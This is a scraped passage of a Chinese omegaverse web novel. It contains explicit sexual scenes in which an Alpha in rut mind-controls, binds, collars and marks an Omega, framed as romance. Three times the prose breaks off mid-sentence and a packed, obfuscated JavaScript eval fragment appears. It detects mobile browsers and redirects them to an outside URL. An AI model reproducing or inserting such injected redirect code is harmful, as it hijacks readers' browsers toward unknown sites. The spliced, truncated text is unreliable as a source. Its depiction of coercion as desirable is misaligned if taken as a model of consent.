他似乎不太喜欢这个东西,佩戴的时候蹙起眉。在冰冷的皮革固定带覆上脸时,时绮听见他啧了一声,十分嫌弃。 姜宥宁跟商随有个相似点,挑东西的时候,一定会选择最好看的。 她给的止咬器是枪黑色,这种颜色常见于枪-械或刀具,与银色一样带金属光泽,却没那么浮亮。 商随的长发垂落下来,艳丽的面庞在金属口笼和皮革固定带的衬托下愈发惑人,硬生生把易感期防止Alpha失控的保护装置戴成了装饰。 不过姜宥宁说自己弄不开,止咬器的质量应该相当有保障。 商随将内置锁扣紧,把钥匙放进时绮手心时甚至有闲心开玩笑:“藏好一点,别被我发现。” 这句状似好心的提醒令时绮一瞬间联想到不久前玩过的恐怖游戏,商随就像里面的BOSS。 动手之前,还会恶趣味地叮嘱玩家躲好。 时绮把钥匙收进外套口袋,指尖无意碰到姜宥宁塞给他的套子,表情微微变化。 不等时绮多想,他的手腕被人一把握住,商随的声音透出一丝兴味: “我戴好了,你答应给我的信息素呢?” 时绮根本没能反应过来,就被往前一拽。 腰上传来一阵骤然收紧的力道,另一个人如同摆弄心爱的玩偶,轻轻松松将他单手抱起。 画室角落里摆放有一张沙发床,其上盖着一张宽大的、云朵般蓬松柔软的毯子,毛毯的边缘从沙发四周垂落到木地板上,不实用,却非常好看。 眼前一阵天旋地转,时绮恍惚感觉被丢进云层中。 属于Alpha的气息铺天盖地压上来,商随半跪着压住他的双腿,另一条腿撑在地上,略长的头发垂下来,将时绮整个笼罩在自己的阴影下。 “你是不是撒谎了?” “什么?”时绮喉咙发紧,不敢看他,“我没有……呜!!” 一根手指在他说话时撬开唇缝,挤进他嘴里。 慌乱中时绮用舌头抵住商随的指尖,才刚刚感觉指腹摸到自己的虎牙,又一根手指强行挤进来。时绮的声音变得模糊不清: “你、你要干什么…商随、商……呜嗯!” “你释放不了信息素,对吗?”商随毫不留情拆穿他,“你太过紧张,一直在发抖。” 时绮身体一僵。 不知从何时起,他浑身神经变得紧绷,腺体也好似被麻痹。 商随的易感期太可怕了。即使时绮表现得再镇定,本能却令他浑身上下每个细胞都在叫嚣逃离。 与此同时,他能清晰感觉到,作为掠食者的Alpha正为他的一举一动着迷,近乎狂热地渴求他无法释放的信息素。 太奇怪了。 他既像猎物,又像握住另一个人的命脉。每分每秒都是致命又暧昧的体验。 他甚至下意识往沙发床里缩,想把自己藏起来,全身感官却被另一个人的信息素生生打开。挣扎中商随真正用上了力量压制他。 时绮毫无抵抗之力,只能听见系在Alpha脚上的铐链叮当作响。 感觉到他用另一只手抚摸自己的脸,时绮浑身发抖。 “别害怕,我帮你。” 很快的,时绮尝到了淡淡的血腥味。 意识到他的虎牙没法刺破指腹之后,商随自己掐破指尖,将血喂进时绮嘴里。 血液中信息素含量极高。香甜的味道从舌尖弥漫开来,时绮情不自禁吞吃,能感觉到甜蜜的液体一滴一滴流过喉管。 除了口舌,他的呼吸也被馥郁的气味占据,全身好似浸泡在蜜罐里。 原本紧绷的身体逐渐变得瘫软,在商随不再强行禁锢他后,时绮的脑袋主动蹭了过来,开始自发吮吸Alpha的指尖。 他长长的睫毛颤颤巍巍,深灰色的眼眸透着痴迷的亮光。 商随用手指按压他粉嫩的唇瓣,语气夸赞:“好乖,多吃一点。” 他知道时绮喜欢听他夸奖,果不其然,Omega动作稍顿,而后真的更加认真舔舐他手上的血丝。 时绮的信息素自然而然释放出来。铃兰清甜又空灵的味道仿佛还沾有清晨的露珠,花香味渐渐扩散开来,似一簇簇纯白的花朵沿溪流开满山谷。 见他差不多了,商随抽回手。 时绮以为他会用纸擦干净上面的口水和血丝,商随却冲他笑了笑。 隔着止咬器的金属口笼,他将手指含进自己嘴里。 “!” 时绮不可思议睁大眼睛。 他的脸颊完全烧了起来,呆愣地看着Alpha放荡的举动。 商随直勾勾盯着时绮,令人感觉他真正想吞食的是Omega的一部分。 不对,一部分可不够。 这么漂亮可爱、令他魂牵梦绕的宝贝,当然要全部吞下去。 “宝贝,我好难受。” Alpha的声音又轻又缓,令人联想到嘶嘶吐信子的蛇。 “帮帮我好不好?” 时绮蜷缩起手指,低低地问:“我要怎么……”帮你。 “把手给我。” 见时绮白皙挺翘的鼻尖出了一层薄汗,商随诱哄着说:“热不热?先把衣服脱掉。” 时绮鬼使神差脱掉外套,而后是毛衣,最后只剩里面薄薄的衬衫。 他茫然至极,一直到外套落在地上,小小的方盒随之从里滑出,啪一声滚落在地。 时绮脸色一变。 尤其是商随顺着动静看去,目光像定在上面,时绮连忙道:“是姐姐给的,她以为我们——” “这个用不了,小了。” 像是觉得时绮带这种东西很有趣,他补充一句:“下次不用你准备。” 什么……? 不是说男性Alpha大小差不多吗? 商随俯低身,止咬器抵着时绮脆弱的脖颈,冰冷的金属和灼热的呼吸同时刺激感官。 时绮面红耳赤转过头,很快又意识到什么,不敢再动。 商随没有说谎。 好像真的……用不了。 Omega的身体比Alpha软很多,手也一样。 时绮的掌心白净柔软、五指纤长,粉色的指尖如同颤巍巍的花苞。 商随握住他漂亮的手,往下拉。 两人紧紧搂在一起,亲密无间。 商随似乎不久前才洗过澡、换过衣服,除了蜂蜜味的信息素,身上还带着热烈的白麝香气息。 Alpha动听的喘息落在耳边,时绮感觉自己被艳丽的花蛇缠上,灼热的鳞片刮过肌肤。 他想要逃跑,却被纠缠得更紧。 铃兰与蜂蜜的气味彻底交织。不知过去多久时间,时绮都快失去意识。 …… …… 在时绮抽回手之前,商随先一步攥住他的手腕,撒娇一样蹭蹭他:“想要你帮我擦干净。” 时绮和他对视片刻,默默从旁边抽过纸巾盒。 商随易感期不能控制自己,欲望被成倍放大,缠着他做这些再正常不过。 那他呢? 他为什么要乖乖听话? 可是商随实在是……太漂亮了。 Alpha的卧蚕带着一抹绯红,浑身透出慵懒又餍足的气质。 他丝毫没有抗拒的心思,心甘情愿为商随做这些事,甚至被对方引诱。 好多。 怎么会这么多。 Alpha都这样吗?根本擦不完。 地上全是被他丢下去的纸团。更令时绮应对不暇的是,他自身受到的影响越来越大。 好、好饿…… 他又看了一眼那堆纸团,里面仿佛藏着什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那句话并不像说出来的,而像通过另一种更为高等的方式生生刻进脑子,令听者对下达的指令唯有遵从。 他前不久玩过的恐怖游戏里,BOSS能够精神控制玩家。秦书赫说,游戏的构思与特殊易感期有关。 据说在特易期的Alpha里,有极少部分能够通过信息素对人进行精神操控,效果类似于催眠和心理暗示,却更为强劲。 可这些都只是传言和幻想,现实里怎么会真的存在? 时绮没办法移动,脑子却闪过无数碎片。他突然想起沈千俞说,商随在特易期的Alpha里也是独一档的存在。 他一直以为是指超乎寻常的力量。毕竟像踹开安全屋的大门、徒手拆卸止咬器,显然不是随便一个特易期的Alpha都能做到的事。 但现在看来,沈千俞说的特殊…… 时绮一动不能动,只能留在原地,听见后方传来锁链在地上拖行时发出的响动。 这么诡异危险、仿佛魔幻小说里才会发生的场景,他却不合时宜地想到另一件事。 商随一直戴着这么沉重的铐链,不难受吗? 锁链碰撞的声音越来越近,蜂蜜的香味也愈发浓重。 时绮被他命令站在原地,不能动,也没法转过头,只能听见背后传来的声音。 “你答应过的,给我足量的信息素,在我说足够之前不能停下。” 一根修长的手指在他的腰部画圈,身后人说话的语调分外缱绻,连抱怨都流露出亲昵的意味: “亲爱的,你想带着给我的奖励去哪儿?” 时绮眨巴了一下眼睛。 原来真的没有听错。 商随之前也是这样,叫他“亲爱的”。 跟“宝宝、宝贝”一类的称呼不同,在时绮的印象里,这是姜礼会叫时安的称呼,是伴侣之间特有的爱称。 他微微张口,红着脸小声说:“我……” Alpha在他身上仔细嗅了嗅,轻声道:“现在还不够。” 骨节修长的手指从下往上,一点一点,沿着他笔直的脊背上滑。 时绮腿软得站不住,几乎想叫出声。 一直摸到脖颈,商随改为从后轻轻掐住他的脖子,无比温柔地说: “我们来玩点别的吧。” 37.亲吻 基于腺体退化,时绮的信息素水平比一般Omega更低。 除非是在发情期,短时间内他的确难以释放大量信息素。 他不知道商随说的“足量信息素”是指什么,也无暇过多思考。掐在他脖子上的手松开,改而同他十指交握。 他晕头转向,还沉浸在商随居然可以精神操控他人的震惊里,乖乖任人牵着手重新走进画室。 直到商随停下脚步,时绮抬起头。 这一角铺着冰蓝色夹金线的异形羊毛地毯,如同暖光照耀下结冰的湖泊。其上压了一面巨大的落地镜。 一旁的胡桃木边柜最上层被透明的玻璃包裹,里面摆放着手链和手镯。时绮猜测整只柜子是商随放首饰用的。 商随带着他踢掉拖鞋,光脚踩在柔软的地毯上。 “小绮知道除了腺体,哪里的信息素最浓郁吗?” 每一节生理卫生课时绮都有听,当然知道。 对于Omega来说,是生殖腔。 虽然有腺体退化症,时绮的生殖腔却发育得很好,这也导致他腰腹这一片分外敏感。 商随的指尖触碰上他的腰,轻轻点了点:“是这里吧?” 时绮打了个颤,来不及计较他这种行为算不算骚扰,竟是感到一阵奇异的酸软。 他不知道这是调情带来的影响,下意识说:“别碰那,好痒!” 身后的Alpha却淡淡道:“站好。” 时绮又一次陷入那种无法抗拒、唯有服从的境地,如同受到操控的提线木偶。 他咬了咬唇,被迫抬头挺胸,站直在镜子前。 他非常讨厌谁用命令的口吻和他说话,如果换一个人对他做这些,他恨不得把人一脚踹开。 可商随这样做,他只是有一些懊恼和羞怯。 “你不用这样,我不会跑的。”时绮以为他是担心自己离开,解释道,“我刚才只是太震惊了,没想到你能徒手拆开止咬器。” 没想到的事情实在太多了。 他在心里默默补充一句。 商随不置可否笑笑:“是吗?” “你最好一会儿还能这样说。” 他从放首饰的边柜里取出什么。时绮只能透过镜子看见大概,有两根五指宽的白色蕾丝缎带、一只毛茸茸的白金色猫耳发箍,似乎还有别的东西,时绮没能看清。 商随将发箍轻轻戴在时绮头上。 这个款式与曾经在游乐场戴过的猫耳有几分相似,却更加精致逼真,里面多了一簇簇细密的小绒毛。猫耳朵也更大一些,将时绮的脸颊衬得小小的。 他沉默片刻,不服气道:“就是戴个猫耳朵,我为什么要跑——” 商随打断他:“宝宝,看镜子。” 伴随他的命令,时绮抬起眼。 镜子里的Omega衣衫略显凌乱,精致的小脸泛着桃花似的粉晕,眸光盈盈,如同含了一汪潋滟的春水。 时绮愣愣地注视陌生的自己。 他在商随面前……一直是这副神态吗? 他有些说不出的害羞,微微摇晃脑袋,猫耳朵也跟着抖了抖。 商随看他这样,低头呢喃:“你好可爱。” Alpha无可挑剔的面容在眼前放大,高挺的鼻梁依稀残留止咬器压出的红痕。 时绮的下巴被一根手指轻轻勾过来,有什么柔软的、香味馥郁的东西擦过时绮的脸颊。 如同被蝴蝶斑斓柔软的翅翼摩挲。 商随贴上来亲了一口他的脸。 时绮双颊爆红:“你——!!” 只是蜻蜓点水一样的触碰,时绮却感觉那一小块肌肤都在灼烧。他几乎想用手背碰一碰,确定被亲吻不是幻觉。 商随很快放开他:“喜欢这样吗?” “……”时绮小声回答,“喜欢。” 好香,而且好软。 得到肯定的答案,商随眼角眉梢染上笑意。 时绮呆呆看着他,没意识到自己双手被抓住,纹路繁复的白蕾丝缠绕上纤细的手腕。 直到蕾丝骤然收紧,时绮才发出“唔!”一声,疑惑地问:“你在做什么?” 他的双臂被紧紧绑在身后,长长的蕾丝缎带垂落下来,像一根漂亮的尾巴。 时绮隐隐约约感觉到,商随将蕾丝固定好以后,在他手腕间打了一个蝴蝶结。 姜宥宁小时候也喜欢折腾他,商随除了没给他穿裙子,跟她干的事也差不多了。 商随是把他当成洋娃娃了吗。 不对,谁会把洋娃娃绑起来啊? “来,摸一摸。” 随着商随的声音,时绮的手指触碰到什么毛茸茸的东西。 是白金色的猫咪尾巴,蓬松柔软、长长的一条,和他头上的猫耳显然是一对。 他没法转过身,只能从镜子里看见猫尾抵着自己上下移动,像在寻找合适的位置。 “放这里怎么样?” 时绮被冷不丁戳了一下,呆滞片刻,突然意识到尾巴是怎么用的:“不要!我不要这个!” 时绮似乎吓坏了,一张小脸泛白,连睫毛都在颤抖,却又因商随下的命令没法躲避。 系在他身上的蕾丝微微晃动,配上头顶的尖耳朵,就像炸毛后不知所措的猫。 毕竟是第一次,他也不想用这种东西。 只是想逗一逗时绮。 商随把毛茸茸的猫尾巴扔到一边,双手捧起他的脸:“那不要了。不怕不怕,来亲亲。” 商随说话间手指贴到时绮的脸侧,用令人舒适的力道挠他的下巴,唇瓣也贴上他的脸颊,有一搭没一搭啄吻。 这样温柔纯洁的触碰很快令时绮忘记刚才的惊吓,连带着把Alpha的异常都忘到九霄云外,脸上泛起暧昧的红晕。 他双手发痒,想抓住商随的肩膀发泄,却被柔韧的蕾丝束缚,纤细的手指只能难耐地相互磨蹭。 “解开,”时绮呼吸不稳,小口小口喘着气,“解开好不好?” “不好。” “商随!”时绮不满地叫他。 “在呢,”被叫到的人温柔地应,手指却插进蕾丝打死结的位置,恶劣地往后一勾,令时绮险些一个踉跄,“再叫就把你的嘴堵住,腿也绑起来。” “……” 这人易感期真是喜怒无常。 他瞪了商随一眼,脸上的红晕却一路蔓延到脖颈。 啄吻从脸颊渐渐到了颈侧,自然而然往后,逐渐靠近腺体。 时绮微微眯起眼睛,从镜子里看见Alpha将头埋在他的颈后。感觉到腺体被啾了一下,时绮浑身一颤。 下一瞬间,尖锐的牙齿毫不犹豫刺破肌肤—— “呜嗯……!!” 不知是否为易感期的影响,另一个人的信息素狂躁又压抑,表现出近乎疯狂的掠夺欲,被捕食的压力从头到脚裹挟时绮的神经,如同黑沉的囚笼将他禁锢其中,不得逃离。 时绮深灰色的眼球微微上翻,险些失去意识,终于理解商随那句话的含义。 如果不是被指令强行留在原地,他早就逃跑了。 伴随越来越深的标记,时绮的呼吸愈发急促,腿软得站不稳。蓬松柔软的猫耳朵和白蕾丝颤抖不停。 他的声音几乎带上哭腔:“够、够了,这样够了吧!” 铃兰的气味扩散开来,格外浓郁,花芯如同被露珠打湿。 湿漉漉的香气充斥着周围的空间。感觉到标记还在继续,时绮有气无力:“我站不稳了。” 他的声音软绵绵的:“腿好酸,放过我……商随、商随!” 他不是喜欢求饶的个性,面对商随,撒娇讨饶的举动却能自然而然做出来。 对他来说,对方就和家人一样,是可以随意撒娇的对象。 “放松。” 在标记结束时,商随终于给出令他解脱的命令。 时绮膝盖一软,跪坐在地毯上。 在他身后的Alpha也随之蹲下来。商随从柜子上拿了一件东西,时绮听见清脆悦耳的声响。 咔哒一声。 有什么在他的脖子上收紧。 时绮晕晕乎乎抬起头,看见自己刚被标记过的脖颈扣上一只项圈。 是暗红色的皮质项圈,上面缀着草莓大小的金铃铛。 款式很像给猫咪戴的宠物项圈,只要铃铛一响,就知道自家的猫在哪儿。 “好合适。”商随赞叹地说了一句,半强迫地抬起时绮艳红的脸。 修长有力的手指掐着Omega的脸颊,让他看向镜子里的自己:“你现在好美啊,宝宝。” 时绮眼眶发红,呜咽一声。 越是被夸赞,他越是害羞,甚至想把自己蜷缩成一团。 知道怎么撬开他的蚌壳,商随手上的力道不容置疑,强迫他看镜子,声音却分外柔和,带着引诱的意味: “我们宝宝很聪明对吗?又乖又听话。” 时绮望向镜子,不经意对上一双微微上挑的眼睛。 商随朝他笑了笑,浅褐色的瞳眸分外明亮,像只看得见他一个人。 “是,”如同被诱惑一般,时绮重复道,“我很乖。” 商随眼里笑意加深,眼角的泪痣增添糜艳:“那告诉我,你是谁家的小猫?” “……是你的。” 时绮被抽走浑身力气,声音近乎透出媚意,被引导着说出商随想听的答案:“我是你的。” 商随低头朝他靠近,刚想说什么。 一道略显刺耳的铃声骤然响起,打破了黏稠到拉丝的氛围。 商随阴森森地盯着不远处响个不停的手机,易感期本就强烈的破坏欲喷涌而出,先前还柔情似水的神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188115|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间阴沉。 好不容易把时绮带进意识模糊的状态里,这鬼玩意儿…… 时绮忍不住说:“好吵。” 商随抽过手机,意识到自己太过用力,动作有一瞬停顿。 小心一点,不能把这东西捏爆了。 看见备注上的“小安爸爸”,商随用力磨了磨牙,沉闷又细微的声响令人不寒而栗。 处在易感期的Alpha占有欲和控制欲都会达到巅峰,不希望 Omega与外界有任何联系。即使是时绮的家人,也令他本能地感到排斥。 他强压着破坏的欲望,将手机递到时绮耳边。 电话接通的一瞬间,时安焦急道:“小绮?你还好吗?!怎么一直不回消息?” 后方传来姜宥宁的抗议,似乎在说他这样太过打扰人。 时绮没有立即回答,而是下意识看向身边的Alpha。 商随闭了闭眼,轻声道:“跟你爸爸说,我们在玩游戏。” 时绮软软地附和:“我们在玩游戏……呜。” 时安大惊失色:“你们在做什么?!” 姜宥宁在一旁阻拦:“哎呀您不要打扰人家啦,真是的!您自己没经历过Alpha的易感期吗?” “没事儿啊宝贝,小安爸爸关心则乱,我们确认一下不用叫救护车就行。” 姜宥宁知道这时候出现太讨人嫌,不想给时绮的男朋友留下坏印象,赶紧留下一句祝福挂掉电话:“新年快乐哦!商随也是!” 像是没想过时绮的家人知道他的名字,商随露出些许意外的神色。 时绮主动把手机扔到一边:“不要管他们。” 他已经分不清究竟是商随在过易感期,还是他也进入受本能支配的状态。 他转身贴近对方,往商随怀里拱了拱,脖颈摇晃的铃铛随之发出声响。 即使没有明说,也用动作传达出意思。 我们继续吧。 商随很是惊讶,随即笑着搂住他:“你好黏人。” 他以为被打断后时绮会清醒过来,想不到竟然更加黏他。 商随用掌心托起时绮的脸,扯过一直没派上用场的另一根蕾丝缎带,绕过Omega湿漉漉的眼睛,最后在后脑系上一个十分对称的蝴蝶结。 半透明的白蕾丝眼罩一样蒙住时绮的眼睛,却没有完全遮蔽视线。 他身上的饰物逐渐增多,像被人捕获后精心饲养的小动物。 时绮眨了眨眼,长长的睫毛蹭过柔软的织物。繁复的白色花纹切割开眼前的世界,连带近在咫尺的另一张面容都模糊不清。 “商随……?” “乖,”他听见他说,“这样漂亮。” 漂亮吗。 他已经分不清漂亮不漂亮,只能呜咽着答应,而后意识到什么,不自在地蜷缩起来:“我把你的地毯弄脏了。” “没关系,你身上很香,也很干净。” Alpha的掌心带着馥郁的信息素,灼热又妥帖,一点一点抚摸时绮单薄的脊背:“我想抱你。” 他的声音如同蛊惑人心的咒语:“跟我做吧?我会让你快乐的。” 时绮本就喜欢被人触碰,这样舒适的爱抚更是令他没有抗拒之力。 他从喉咙里发出细微的哼声,像小猫贴近喜欢的人类时黏黏糊糊的叫声: “好、好的。” 他看见商随弯眼笑起来,微微启唇,艳色的舌尖一闪而过,令人联想到石榴晶莹剔透的果实。 想要亲亲。 时绮在混乱中想。 他配合了标记,放出了非常多的信息素。 不管是猫耳、铃铛项圈、白蕾丝……这些他都一一接受,商随怎么还不来亲他。 不想止于亲脸和亲脖子,想和商随亲嘴,最好还能伸舌头。 想要亲昵的愿望一旦浮现就再也止不住,时绮正想不管不顾往前凑。 窗外倏忽映入一阵耀眼的光彩,世界坠入玫瑰色的河流,仿佛有绚烂的恒星在头顶燃烧。 黑沉的雷雨不知何时停止,跨年时分的烟花在天幕盛开。 “新年快乐。”商随的手指先一步捏住他的下巴,“新的一年不要分开,永远和我在一起。” 时绮怔然望向他。 他已经分不清这究竟是蕴含精神操控的命令,还是单纯的愿望。 无论如何,那种令人心颤的感受流淌过四肢百骸,全身仿佛过电。 时绮也在心里默默重复。 新的一年不要分开,永远和我在一起。 不等他念完这句话,商随的拇指摩挲过他的唇。 时绮眼睫轻颤,已然有所预感。 隔着薄薄一层白蕾丝,柔软的唇瓣轻贴上湿润的眼睛,而后慢慢往下。 呼吸交缠间,商随张开嘴,含吻住时绮迫不及待的唇。 38.中断 最初只是唇贴着唇相互摩擦,慢慢的,商随开始咬时绮的唇瓣,尝试性地往里探。 时绮配合地分开唇。Alpha柔软灵活的舌尖钻了进来,带着浓郁的蜂蜜气息,仿佛极为美味的糕点。 与香甜馥郁的气味不同,商随的动作从轻柔变得粗鲁,贪婪地吮吸时绮的舌头,一下又一下,几乎令人喘不过气。 时绮发出软绵绵的声音,忍不住往后退。 商随却追着亲上来,手指顺势插进浅色发丝,配合亲吻的动作揉捏时绮的后脑。 另一只手则揽在时绮腰侧,把人往怀里压,令被亲吻的Omega无法逃脱。 “唔、唔……!” 意识到挣脱不能,时绮只能用舌尖推攘另一个人,反而方便了入侵者。他被缠得更紧。 商随上瘾一般追逐他的气味,原本托住他后脑的手掌慢慢下移,细致抚摸时绮小小的耳垂和纤长的脖颈,时不时隔着皮项圈掐他的脖子,用令人无法抗拒、却又不会难受的力道收紧五指,又松开。 时绮被吻得浑身发软,项圈上的铃铛颤抖不停。 喘不过气。 但是好舒服。 时绮听见另一个人从喉咙里发出闷哼,那种低低的、透出餍足的声音格外勾人。 恍惚中他想起曾经做过的春梦,他和商随的初吻甚至比梦里更为缠绵。 两股信息素融合在一起,酥酥麻麻的电流经过全身,唇舌间满是黏稠到拉丝的糖浆。 时绮的脸颊越来越热,眼前竟是开始泛白。 滴答—— 室内响起机械即将解锁的提示音,时绮无暇顾及。 隔了半晌,他才意识到自己又一次弄脏了地毯。 从眼眶里溢出的泪水浸透缠绕在脸上的白蕾丝,时绮瘫软在商随怀里,被绑住的双手不停颤抖。 伴随一阵急促的滴答声,商随脚上的铐链自发解开。 特易期不会自然停止,只有在本人的欲望彻底发泄或精疲力竭之时才会结束。 他在这个异常旖旎的亲吻中获得前所未有的满足,内心的渴求被逐一填满,信息素恢复到正常水平,提前结束易感期。 先前魅惑而贪婪的神态从Alpha脸上消失,连带着眼角的晕红也淡了些许,理智渐渐回笼。 如同从云雾中骤然下坠,商随闭了闭眼,又慢慢睁开。 不等他彻底清醒过来,视线中映入一张绯红的、流泪的脸。 倒在他怀里的Omega被蒙住眼睛,微肿的双唇半张,双腕束缚在身后。 非常漂亮诱人,却也非常可怜。 商随怔愣片刻,不可置信看向不该出现在这里的人。 “小绮?” 他能感觉到,时绮被他精神操控过。 他甚至尝试过催眠对方,令时绮陷入痴迷的境地。 “怎么会……!” 他想起他把时绮带到镜子前,命令时绮站好、一一戴上饰物……最后发生什么,接吻了? 商随头一次如此憎恨自己易感期不完整的记忆,结合现状来看,简直就像他强迫了时绮一样。 他很快解开绑在时绮手腕上的白蕾丝,而后是蒙住眼睛的部分,猫耳朵、皮项圈。时绮在这个过程中神色迷离,好像还没从被精神操控的余韵里缓过神。 商随试探性地用手背贴了贴他泛红的脸颊,后者如同傻掉一般,一张小脸梨花带雨,发出微弱的哼声。 隔了些许时间,时绮才回过神,浸满泪水的眼睛慢慢转动。 商随怎么了。 为什么会露出那么自责的表情? “对不起、对不起,是我不好,我不该这样。” 他似乎想拥抱他,却又不敢轻举妄动,害怕自己的接近会令时绮不适,只能隔着一段距离道歉:“你难受吗?” 时绮愣愣地看向他。 商随的易感期结束了? “我没事,”时绮手掌撑地,慢慢直起身子,“我不难受。” 倒不如说,他刚才……舒服得神智都恍惚了。 甚至没听见商随在叫他。 时绮不好说出自己真正的状态,只能强调:“我真的没事。” 他说完,心里也有些茫然。 易感期结束后,商随不再是先前那样恨不得把他吞下去的情态。那究竟是喜欢他才想和他做,还是受了易感期的影响? 他先前意乱情迷,都来不及思考这些。 明明相较于进入易感期的商随,他才该是保留理智的那一个。 但他却在对方不清醒的情况下点了头。如果不是易感期结束,说不定他们已经发生了关系。 不等时绮整理好心绪,商随低声道:“你不用勉强。” 他猜测时绮并不清楚他易感期时有多危险,只是单纯想帮助他:“你是想用信息素帮我缓解,对吗?但我控制不住自己,还把你绑起来,逼你做这些事。” “是我的错。” 商随说得他好像是被强迫的,没有一点私心。 时绮总感觉哪里不对,却又不知如何解释。更令他羞怯的是,在商随说到“绑起来”时,他的手腕竟是略微动了动,食髓知味一般。 连带着否认的声音也毫无说服力:“没有!你没错。” 商随更是自责,心疼地说:“你哭成这样,不用考虑我。” 时绮张了张口,没能说出自己哭泣的真实原因。 如果承认自己因为初次接吻就交代了,甚至迟迟回不过神,还爽到流眼泪,那他也太…… 时绮耳根通红,话到嘴边怎么都说不出口,只能道:“总之,真的没你想的那么严重。” 他俩似乎不在一个频道上,一时半会儿解释不清楚,身上又黏黏糊糊,时绮岔开话题:“我想先去洗澡。” 刚一起身,就闻到浓郁的铃兰香味。 和平日清透纯美的气味不同,他的信息素变得湿哒哒的,如同被揉碎的花瓣散发出汁水充盈的香气。 看着地毯上的水迹,时绮面红耳热:“地毯脏了,你别看!我赔你一个新的。” 他说完赶紧冲进上一次去过的浴室,都来不及考虑换洗衣服,背影透出一股落荒而逃的味道。 商随怔愣片刻,反应过来,下意识看了一眼时绮坐过的地方。 他的脸也热了热。脑海中依稀闪过和时绮接吻的画面。 花瓣一样娇嫩的唇,柔软的呼吸,他想起自己是如何纠缠Omega小小的、艳红的舌尖,仿佛品尝美味佳肴。 停,打住。 他甩甩脑袋,告诫自己不要再想。 给时绮找好换洗的衣服,挂在门上后,商随去了另一间浴室。 伴随着从头顶滚落的水珠,易感期碎片化的记忆时不时涌入脑海。 他好像还用过时绮的手。 …… 真是要疯了。 他知道自己重欲,却也没想到夸张到这种地步。他才清醒过来,回想起一些与时绮有关的模糊片段,居然又有了感觉。 刚才说话时眼神忽闪的样子也可爱。 就像是因为喜欢他,所以才害羞一样。 他道德底线没那么高,但也觉得自己实在有些禽兽,在心里告诫自己不该满脑子有的没的,手却忍不住往下滑。 …… …… 通常他的易感期会持续五天左右,这一次却只用了两天半。 从浴室出来,商随稍微平静了些。 时绮同样洗完澡,边擦头发边往前走,眼神湿润地看着他,像不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他当时的表现太过骇人,吓到对方,才会导致时绮离开。 他无数次后悔自己为什么不能控制得更好一点、不该让时绮看见自己易感期的模样。今天面对和当年有几分相似的情景,第一反应便是又做错了事,顾不上其他。 商随关好灯,躺在沙发上整理混乱的思绪。 直到刚才,他大着胆子试探了一下,终于确定时绮对这一切并不排斥。 一想到另一个人可能也非常喜欢他,和他亲昵也完全是心甘情愿……商随在黑暗中微微眯了眯眼睛,本就不太平稳的信息素又有暴涨的趋势。 相处这么长时间,只要脑子正常,就能看出时绮对他有好感。 因为六年前的遗憾,他一直想引诱时绮更喜欢他一点、喜欢到能够接受他的异常,在一切更为清晰稳妥后再告白。 但现在这样,再怎么都该坦白心意。 会被接受吗? 该怎么告白才合适。 好想现在就说,又怕显得他是被本能控制,不够珍重,刚过完易感期就信誓旦旦说喜欢。 可如果再等一等,又该等到多久去? 直到隐隐约约有一线天光透过窗帘,商随转了转眼睛,这才慢半拍意识到时间的流逝。 原来已经过去整整一夜。 相比起想东想西的商随,时绮一沾枕头便香甜地陷入睡梦。 他原本打算认真考虑一下他们的关系,而且商随好像想多了,有些小误会,也要找个时间解释。 可是…… 商随的床好香。 柔软的床品透出洗衣液淡淡的香气,洋苏草清冽的味道令人联想到夏日的海水,除此以外,还有他熟悉的、若有若无的蜂蜜信息素。 实在是太舒服、太令人放松,加上今天他交代了好几次,没剩多少精力。 时绮抵抗不了睡意,努力尝试思考现状,全部以失败告终。 彻底入睡之前,时绮在心里下决定。 明天,明天他一定会好好想一想。 39.试探 时绮醒来时窗外阳光灿烂,已是正午时分。 这一觉睡得格外香甜。他懒洋洋地睁开眼睛,看见陌生的天花板,慢半拍反应过来自己身处何处。 洗漱过后,时绮趿拉着拖鞋一路往外走。 他依稀听见外面传来些许动静,本以为是商随在厨房里,记得对方应该不会做饭,正觉得新奇,时绮看见了一位面善的阿姨。 对方热情地和他打招呼,并询问他一会儿想吃什么,她刚烤好松饼,准备了合他口味的话梅排骨,另外还煲着松茸鸡汤。 在时绮问到商随的去向时,她说他一早就出了门,在客厅给他留了一张字条。 时绮点点头,转念一想,暂时不和商随见面也是好事,他还需要一点时间理清自己的想法。 时绮去到客厅,拿起纸条: [谢谢小绮陪我过易感期。 我和别人有些不一样的地方,如果你想知道,下次详细跟你说。 临时有点事,先出门了。 想回家和阿姨说一声,她会帮你叫司机。 看完纸条的话请盖章^^] 落款的地方并没写名字,而是画了一只侧飞的蝴蝶。 一条细线从蝴蝶背后穿过,既像勾勒出的一笔花瓣,又像飞行的轨迹。 时绮盯着商随独特的落款看了一会儿,拿起旁边准备好的印章。 用于手握的印钮雕刻成仰头的猫咪造型,印面同样是一只哒哒向前小跑的猫,弯弯的尾巴向上翘起。 时绮仔细看了看,确定这只印章是定做的。 商随没事干的时候就在搞这些? 这小玩意儿还挺可爱的。 蘸上朱红印泥的一瞬间,时绮感觉自己仿佛在批阅奏折。 他把猫印在蝴蝶旁边,代表已阅。 吃过饭后,司机送他回家。 时绮推门而入,姜宥宁和时安正在沙发上看电视,两人有一搭没一搭聊天,听见动静同时回头。 时安诧异道:“你回来了?” 姜宥宁同样惊讶:“你不是陪你男朋友过易感期吗?” 